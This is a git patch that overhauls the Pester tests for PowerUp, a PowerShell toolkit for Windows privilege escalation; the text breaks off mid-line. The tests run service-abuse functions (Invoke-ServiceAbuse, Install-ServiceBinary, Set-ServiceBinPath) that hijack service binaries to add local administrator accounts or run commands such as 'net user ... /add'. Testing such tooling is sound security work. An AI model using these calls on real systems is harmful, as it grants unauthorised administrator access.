From 1b359e7875de1e8392224af8591d062fff89a525 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sat, 4 Jun 2016 17:47:10 -0400 Subject: Overhauled and completed PowerUp/Privesc Pester tests --- Tests/Privesc.tests.ps1 | 835 ++++++++++++++++++++++++++++++++++++------------ 1 file changed, 622 insertions(+), 213 deletions(-) (limited to 'Tests/Privesc.tests.ps1') diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 999d712..3641ece 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -25,19 +25,59 @@ function Test-IsAdmin { ######################################################## # -# PowerUp helpers functions. +# PowerUp helper functions. # ######################################################## -Describe 'Get-ModifiableFile' { +Describe 'Get-ModifiablePath' { - It 'Should output a file path.' { + It 'Should output a file Path, Permissions, and IdentityReference in results.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Null | Out-File -FilePath $FilePath -Force try { - $Output = Get-ModifiableFile -Path $FilePath - $Output | Should Be $FilePath + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + + if ($Output.PSObject.Properties.Name -notcontains 'Path') { + Throw "Get-ModifiablePath result doesn't contain 'Path' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Get-ModifiablePath result doesn't contain 'Permissions' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Get-ModifiablePath result doesn't contain 'IdentityReference' field." + } + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should output the correct file path in results.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + $Output.Path | Should Be $FilePath + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should return the proper permission set.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + + if ($Output.Permissions -notcontains 'WriteData/AddFile') { + Throw "Get-ModifiablePath result doesn't contain the proper permission set." + } } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue @@ -51,8 +91,8 @@ Describe 'Get-ModifiableFile' { $CmdPath = "'C:\Windows\System32\nonexistent.exe' -i '$FilePath'" try { - $Output = Get-ModifiableFile -Path $FilePath - $Output | Should Be $FilePath + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + $Output.Path | Should Be $FilePath } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue @@ -62,148 +102,307 @@ Describe 'Get-ModifiableFile' { It 'Should return no results for a non-existent path.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" - $Output = Get-ModifiableFile -Path $FilePath + $Output = Get-ModifiablePath -Path $FilePath $Output | Should BeNullOrEmpty } - It 'Should accept a Path over the pipeline.' { + It 'Should accept a path string over the pipeline.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force - $Output = $FilePath | Get-ModifiableFile - $Output | Should BeNullOrEmpty + try { + $Output = $FilePath | Get-ModifiablePath + $Output | Should Not BeNullOrEmpty + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should accept a file object over the pipeline.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ChildItem -Path $FilePath | Get-ModifiablePath + $Output | Should Not BeNullOrEmpty + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } } } -Describe 'Test-ServiceDaclPermission' { +Describe 'Get-CurrentUserTokenGroupSid' { if(-not $(Test-IsAdmin)) { - Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges." + Throw "'Add-ServiceDacl' Pester test needs local administrator privileges." } - - It "Should fail finding 'sc.exe'." { + + It 'Should not throw.' { + {Get-CurrentUserTokenGroupSid} | Should Not Throw + } + + It 'Should return SIDs and Attributes.' { + $Output = Get-CurrentUserTokenGroupSid | Select-Object -First 1 + + if ($Output.PSObject.Properties.Name -notcontains 'SID') { + Throw "Get-CurrentUserTokenGroupSid result doesn't contain 'SID' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'Attributes') { + Throw "Get-CurrentUserTokenGroupSid result doesn't contain 'Attributes' field." + } + } + + It 'Should return the local administrators group SID.' { + $CurrentUserSids = Get-CurrentUserTokenGroupSid | Select-Object -ExpandProperty SID + + if($CurrentUserSids -notcontains 'S-1-5-32-544') { + Throw "Get-CurrentUserTokenGroupSid result doesn't contain local administrators 'S-1-5-32-544' sid" + } + } +} + +Describe 'Add-ServiceDacl' { + + if(-not $(Test-IsAdmin)) { + Throw "'Add-ServiceDacl' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-Service | Add-ServiceDacl} | Should Not Throw + } + + It 'Should accept a service as a parameter argument.' { + $Service = Get-Service | Select-Object -First 1 + $ServiceWithDacl = Add-ServiceDacl -Service $Service + + if(-not $ServiceWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return a Dacl for a service passed as parameter." + } + } + + It 'Should accept a service object on the pipeline.' { + $Service = Get-Service | Select-Object -First 1 + $ServiceWithDacl = $Service | Add-ServiceDacl + + if(-not $ServiceWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return a Dacl for a service passed as parameter." + } + } + + It 'Should return a correct service Dacl.' { + $Service = Get-Service | Select-Object -First 1 + $ServiceWithDacl = $Service | Add-ServiceDacl + + # 'AllAccess' = [uint32]'0x000F01FF' + $Rights = $ServiceWithDacl.Dacl | Where-Object {$_.SecurityIdentifier -eq 'S-1-5-32-544'} + if(($Rights.AccessRights -band 0x000F01FF) -ne 0x000F01FF) { + Throw "'Add-ServiceDacl' doesn't return the correct service Dacl." + } + } +} + +Describe 'Set-ServiceBinPath' { + + if(-not $(Test-IsAdmin)) { + Throw "'Set-ServiceBinPath' Pester test needs local administrator privileges." + } + + It 'Should fail for a non-existent service.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + $ServicePath = 'C:\Program Files\service.exe' + + $Result = $False + {$Result = Set-ServiceBinPath -Name $ServiceName -binPath $ServicePath} | Should Throw + $Result | Should Be $False + } + + It 'Should throw with an empty binPath.' { + $ServiceName = Get-RandomName + {Set-ServiceBinPath -Name $ServiceName -binPath ''} | Should Throw + } + + It 'Should correctly set a service binary path.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - - $DirectoryName = Get-RandomName - $env:SystemRoot = 'C:\\' + $DirectoryName - { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "sc.exe not found" - - sc.exe delete $ServiceName | Should Match "SUCCESS" - $env:SystemRoot = 'C:\Windows' + + $Result = Set-ServiceBinPath -Name $ServiceName -binPath $ServicePath + $Result | Should Be $True + $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" + $ServiceDetails.PathName | Should be $ServicePath + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should succeed finding 'sc.exe'." { + + It 'Should accept a service name as a string on the pipeline.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + $ServicePath = 'C:\Program Files\service.exe' + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = $ServiceName | Set-ServiceBinPath -binPath $ServicePath + $Result | Should Be $True + + $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" + $ServiceDetails.PathName | Should be $ServicePath - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should accept a service object on the pipeline.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 + + $Result = Get-Service $ServiceName | Set-ServiceBinPath -binPath $ServicePath + $Result | Should Be $True - $DirectoryName = Get-RandomName - New-Item -Path $env:Temp -Name "$DirectoryName\System32" -ItemType Directory - New-Item -Path $env:Temp -Name "$DirectoryName\System32\sc.exe" -ItemType File - $env:SystemRoot = $env:Temp + "\$DirectoryName" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" + $ServiceDetails.PathName | Should be $ServicePath - Remove-Item -Recurse -Force "$env:Temp\$DirectoryName" - $env:SystemRoot = 'C:\Windows' - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should fail querying WMI for a non-existent service." { +} + + +Describe 'Test-ServiceDaclPermission' { + + if(-not $(Test-IsAdmin)) { + Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges." + } + + It 'Should fail for a non-existent service.' { $ServiceName = Get-RandomName - { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine" + {$Result = Test-ServiceDaclPermission -Name $ServiceName} | Should Throw } - - It "Should succeed querying WMI for an existenting service." { + + It 'Should throw with an empty name.' { + {Test-ServiceDaclPermission -Name ''} | Should Throw + } + + It 'Should throw with an invalid permission parameter.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + {Test-ServiceDaclPermission -Name $ServiceName -Permissions 'nonexistent'} | Should Throw + } + + It 'Should throw with an invalid permission set parameter.' { + $ServiceName = Get-RandomName + {Test-ServiceDaclPermission -Name $ServiceName -PermissionSet 'nonexistent'} | Should Throw + } + + It 'Should succeed with an existing service.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True - sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Result = Test-ServiceDaclPermission -Name $ServiceName + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should fail querying WMI for an existing service due to insufficient DACL permissions." { + + It 'Should succeed with an existing service.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - sc.exe sdset $ServiceName "D:(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" - { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine" - sc.exe delete $ServiceName | Should Match "SUCCESS" + $Result = Test-ServiceDaclPermission -Name $ServiceName + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should succeed querying WMI for an existing service due to sufficient DACL permissions." { + + It 'Should succeed with a permission parameter.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True - sc.exe delete $ServiceName | Should Match "SUCCESS" - } - - It "Should fail running 'sc.exe sdshow' due to insufficient permissions." { + + $Result = Test-ServiceDaclPermission -Name $ServiceName -Permissions 'AllAccess' + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should succeed with a permission set parameter.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDWDWO;;;$UserSid)" | Should Match "SUCCESS" - { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "Could not retrieve DACL permissions" - sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Result = Test-ServiceDaclPermission -Name $ServiceName -PermissionSet 'ChangeConfig' + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should succeed running 'sc.exe sdshow' due to sufficient permissions." { + + It 'Should accept a service name as a string on the pipeline.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 + + $Result = $ServiceName | Test-ServiceDaclPermission + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should accept a service object on the pipeline.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = Get-Service $ServiceName | Test-ServiceDaclPermission + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - it "Should fail finding the service DACL value of 'WP' for the current user." { + + It "Should fail for an existing service due to insufficient DACL permissions." { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + $ServicePath = 'C:\Program Files\service.exe' + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $False - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe sdset $ServiceName "D:(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match 'SUCCESS' + + {Test-ServiceDaclPermission -Name $ServiceName} | Should Throw + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - it "Should succeed finding the service DACL value of 'WP' for the current user." { + It "Should succeed with for an existing service due to sufficient specific DACL permissions." { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + $ServicePath = 'C:\Program Files\service.exe' + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $True - sc.exe delete $ServiceName | Should Match "SUCCESS" - } + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match 'SUCCESS' + + $Result = Test-ServiceDaclPermission -Name $ServiceName + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } } ######################################################## @@ -225,13 +424,13 @@ Describe 'Get-ServiceUnquoted' { It 'Should return service with a space in an unquoted binPath.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe delete $ServiceName | Should Match 'SUCCESS' $Output | Should Not BeNullOrEmpty $Output.ServiceName | Should Be $ServiceName @@ -242,25 +441,25 @@ Describe 'Get-ServiceUnquoted' { $ServiceName = Get-RandomName $ServicePath = "'C:\Program Files\service.exe'" - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe delete $ServiceName | Should Match 'SUCCESS' $Output | Should BeNullOrEmpty } } -Describe 'Get-ServiceFilePermission' { +Describe 'Get-ModifiableServiceFile' { if(-not $(Test-IsAdmin)) { - Throw "'Get-ServiceFilePermission' Pester test needs local administrator privileges." + Throw "'Get-ModifiableServiceFile ' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-ServiceFilePermission} | Should Not Throw + {Get-ModifiableServiceFile} | Should Not Throw } It 'Should return a service with a modifiable service binary.' { @@ -269,14 +468,47 @@ Describe 'Get-ServiceFilePermission' { $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" $Null | Out-File -FilePath $ServicePath -Force - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' - $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } - sc.exe delete $ServiceName | Should Match "SUCCESS" - - $Output | Should Not BeNullOrEmpty - $Output.ServiceName | Should Be $ServiceName - $Output.Path | Should Be $ServicePath + $Output = Get-ModifiableServiceFile | Where-Object { $_.ServiceName -eq $ServiceName } | Select-Object -First 1 + + $Properties = $Output.PSObject.Properties | Select-Object -ExpandProperty Name + if ($Properties -notcontains 'ServiceName') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ServiceName' field." + } + if ($Properties -notcontains 'Path') { + Throw "Get-ModifiableServiceFile result doesn't contain 'Path' field." + } + if ($Properties -notcontains 'ModifiableFile') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ModifiableFile' field." + } + if ($Properties -notcontains 'ModifiableFilePermissions') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ModifiableFilePermissions' field." + } + if ($Properties -notcontains 'ModifiableFileIdentityReference') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ModifiableFileIdentityReference' field." + } + if ($Properties -notcontains 'StartName') { + Throw "Get-ModifiableServiceFile result doesn't contain 'StartName' field." + } + if ($Properties -notcontains 'AbuseFunction') { + Throw "Get-ModifiableServiceFile result doesn't contain 'AbuseFunction' field." + } + if ($Properties -notcontains 'CanRestart') { + Throw "Get-ModifiableServiceFile result doesn't contain 'CanRestart' field." + } + + if($Output.Path -ne $ServicePath) { + Throw "Get-ModifiableServiceFile result doesn't return correct Path for a modifiable service file." + } + + if($Output.ModifiableFile -ne $ServicePath) { + Throw "Get-ModifiableServiceFile result doesn't return correct ModifiableFile for a modifiable service file." + } + + $Output.CanRestart | Should Be $True + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } finally { $Null = Remove-Item -Path $ServicePath -Force @@ -287,29 +519,47 @@ Describe 'Get-ServiceFilePermission' { $ServiceName = Get-RandomName $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' - $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } - sc.exe delete $ServiceName | Should Match "SUCCESS" + $Output = Get-ModifiableServiceFile | Where-Object { $_.ServiceName -eq $ServiceName } $Output | Should BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } } -Describe 'Get-ServicePermission' { +Describe 'Get-ModifiableService' { if(-not $(Test-IsAdmin)) { - Throw "'Get-ServicePermission' Pester test needs local administrator privileges." + Throw "'Get-ModifiableService' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-ServicePermission} | Should Not Throw + {Get-ModifiableService} | Should Not Throw } It 'Should return a modifiable service.' { - $Output = Get-ServicePermission | Where-Object { $_.ServiceName -eq 'Dhcp'} + $Output = Get-ModifiableService | Where-Object { $_.ServiceName -eq 'Dhcp'} | Select-Object -First 1 $Output | Should Not BeNullOrEmpty + + $Properties = $Output.PSObject.Properties | Select-Object -ExpandProperty Name + if ($Properties -notcontains 'ServiceName') { + Throw "Get-ModifiableService result doesn't contain 'ServiceName' field." + } + if ($Properties -notcontains 'Path') { + Throw "Get-ModifiableService result doesn't contain 'Path' field." + } + if ($Properties -notcontains 'StartName') { + Throw "Get-ModifiableService result doesn't contain 'StartName' field." + } + if ($Properties -notcontains 'AbuseFunction') { + Throw "Get-ModifiableService result doesn't contain 'AbuseFunction' field." + } + if ($Properties -notcontains 'CanRestart') { + Throw "Get-ModifiableService result doesn't contain 'CanRestart' field." + } } } @@ -317,17 +567,26 @@ Describe 'Get-ServicePermission' { Describe 'Get-ServiceDetail' { It 'Should return results for a valid service.' { - $Output = Get-ServiceDetail -ServiceName Dhcp + $Output = Get-ServiceDetail -Name 'Dhcp' $Output | Should Not BeNullOrEmpty } - It 'Should return not results for an invalid service.' { - $Output = Get-ServiceDetail -ServiceName NonExistent123 - $Output | Should BeNullOrEmpty + It 'Should throw with an empty Name.' { + $ServiceName = Get-RandomName + {Get-ServiceDetail -Name ''} | Should Throw + } + + It 'Should throw for an invalid service.' { + {Get-ServiceDetail -Name 'NonExistent123'} | Should Throw } It 'Should accept a service name on the pipeline.' { - $Output = "Dhcp" | Get-ServiceDetail + $Output = 'Dhcp' | Get-ServiceDetail + $Output | Should Not BeNullOrEmpty + } + + It 'Should accept a service object on the pipeline.' { + $Output = Get-Service 'Dhcp' | Get-ServiceDetail $Output | Should Not BeNullOrEmpty } } @@ -348,57 +607,97 @@ Describe 'Invoke-ServiceAbuse' { BeforeEach { $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" - $Null = sc.exe create "PowerUpService" binPath= $ServicePath + $Null = sc.exe create 'PowerUpService' binPath= $ServicePath } AfterEach { - $Null = sc.exe delete "PowerUpService" + $Null = sc.exe delete 'PowerUpService' $Null = $(net user john /delete >$Null 2>&1) } It 'Should abuse a vulnerable service to add a local administrator with default options.' { - $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" - $Output.Command | Should Match "net" + $Output = Invoke-ServiceAbuse -Name 'PowerUpService' + $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match "john")) { + if( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + } + + It 'Should accept the -Force switch.' { + $Output = Invoke-ServiceAbuse -Name 'PowerUpService' -Force + $Output.Command | Should Match 'net' + + if( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } } It 'Should accept a service name on the pipeline.' { - $Output = "PowerUpService" | Invoke-ServiceAbuse - $Output.Command | Should Match "net" + $Output = 'PowerUpService' | Invoke-ServiceAbuse + $Output.Command | Should Match 'net' + + if( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + } + + It 'Should accept a service object on the pipeline.' { + $Output = Get-Service 'PowerUpService' | Invoke-ServiceAbuse + $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match "john")) { + if( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } } It 'User should not be created for a non-existent service.' { - $Output = Invoke-ServiceAbuse -ServiceName "NonExistentService456" - $Output.Command | Should Match "Not found" + {Invoke-ServiceAbuse -ServiceName 'NonExistentService456'} | Should Throw - if( ($(net localgroup Administrators) -match "john")) { + if( ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' should not have been created for non-existent service." } } It 'Should accept custom user/password arguments.' { - $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!' - $Output.Command | Should Match "net" + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' + $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match "PowerUp")) { + if( -not ($(net localgroup Administrators) -match 'PowerUp')) { Throw "Local user 'PowerUp' not created." } $Null = $(net user PowerUp /delete >$Null 2>&1) } + It 'Should accept a credential object.' { + $Username = 'PowerUp123' + $Password = ConvertTo-SecureString 'PASSword123!' -AsPlaintext -Force + $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $Password + + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Credential $Credential + $Output.Command | Should Match 'net' + + if( -not ($(net localgroup Administrators) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } + $Null = $(net user PowerUp123 /delete >$Null 2>&1) + } + + It 'Should accept an alternate LocalGroup.' { + $Output = Invoke-ServiceAbuse -Name 'PowerUpService' -LocalGroup 'Guests' + $Output.Command | Should Match 'net' + + if( -not ($(net localgroup Guests) -match 'john')) { + Throw "Local user 'john' not added to 'Guests'." + } + } + It 'Should accept a custom command.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" - $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Command "net user testing Password123! /add" + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Command 'net user testing Password123! /add' if( -not ($(net user) -match "testing")) { - Throw "Custom command failed." + Throw 'Custom command failed.' } $Null = $(net user testing /delete >$Null 2>&1) } @@ -414,13 +713,13 @@ Describe 'Install-ServiceBinary' { BeforeEach { $ServicePath = "$(Get-Location)\powerup.exe" $Null | Out-File -FilePath $ServicePath -Force - $Null = sc.exe create "PowerUpService" binPath= $ServicePath + $Null = sc.exe create 'PowerUpService' binPath= $ServicePath } AfterEach { try { - $Null = Invoke-ServiceStop -ServiceName PowerUpService - $Null = sc.exe delete "PowerUpService" + $Null = Stop-Service -Name PowerUpService -Force + $Null = sc.exe delete 'PowerUpService' $Null = $(net user john /delete >$Null 2>&1) } finally { @@ -434,49 +733,65 @@ Describe 'Install-ServiceBinary' { } It 'Should abuse a vulnerable service binary to add a local administrator with default options.' { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' + $Output.Command | Should Match 'net' - $Output = Install-ServiceBinary -ServiceName "PowerUpService" - $Output.Command | Should Match "net" - - $Null = Invoke-ServiceStart -ServiceName PowerUpService + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match "john")) { + if( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } - $Null = Invoke-ServiceStop -ServiceName PowerUpService + $Null = Stop-Service -Name PowerUpService -Force $Output = Restore-ServiceBinary -ServiceName PowerUpService "$(Get-Location)\powerup.exe.bak" | Should Not Exist } - It 'Should accept a service name on the pipeline.' { + It 'Should accept a service Name on the pipeline.' { + $Output = 'PowerUpService' | Install-ServiceBinary + $Output.Command | Should Match 'net' - $Output = "PowerUpService" | Install-ServiceBinary - $Output.Command | Should Match "net" + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + $Null = Stop-Service -Name PowerUpService -Force + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } - $Null = Invoke-ServiceStart -ServiceName PowerUpService + It 'Should accept a service object on the pipeline.' { + $Output = Get-Service 'PowerUpService' | Install-ServiceBinary + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match "john")) { + if( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } - $Null = Invoke-ServiceStop -ServiceName PowerUpService + $Null = Stop-Service -Name PowerUpService -Force $Output = Restore-ServiceBinary -ServiceName PowerUpService "$(Get-Location)\powerup.exe.bak" | Should Not Exist } It 'User should not be created for a non-existent service.' { - $Output = Install-ServiceBinary -ServiceName "NonExistentService456" - $Output.Command | 